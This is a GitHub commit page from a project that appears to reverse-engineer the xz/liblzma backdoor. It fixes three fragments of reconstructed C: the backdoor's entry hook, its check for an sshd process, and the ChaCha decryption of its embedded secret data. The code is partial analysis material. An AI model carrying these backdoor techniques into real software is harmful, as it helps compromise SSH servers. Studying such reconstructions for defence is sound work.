Skip to content

Commit

Permalink
fix late night mistakes
Browse files Browse the repository at this point in the history
  • Loading branch information
smx-smx committed May 1, 2024
1 parent 36053f2 commit 7f047a0
Show file tree
Hide file tree
Showing 3 changed files with 3 additions and 2 deletions.
1 change: 1 addition & 0 deletions xzre_code/backdoor_entry.c
Original file line number Diff line number Diff line change
Expand Up @@ -15,4 +15,5 @@ unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame){
}
++resolver_call_count;
_cpuid_gcc(cpuid_request, &a, &b, &c, &d);
return a;
}
2 changes: 1 addition & 1 deletion xzre_code/main_elf_parse.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ BOOL main_elf_parse(main_elf_t *main_elf){
))){
return FALSE;
}
elf_info_t *dynamic_linker;
elf_info_t *dynamic_linker = main_elf->elf_handles->dynamic_linker;
void **libc_stack_end_ptr = (void *)PTRADD(dynamic_linker->elfbase, libc_stack_end_sym->st_value);
if(!process_is_sshd(dynamic_linker, *libc_stack_end_ptr)){
return FALSE;
Expand Down
2 changes: 1 addition & 1 deletion xzre_code/secret_data_get_decrypted.c
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,6 @@ BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx){

return chacha_decrypt(
ctx->secret_data, sizeof(ctx->secret_data),
buf1.key, buf1.iv,
buf2.key, buf2.iv,
output, ctx->imported_funcs);
}

0 comments on commit 7f047a0

Please sign in to comment.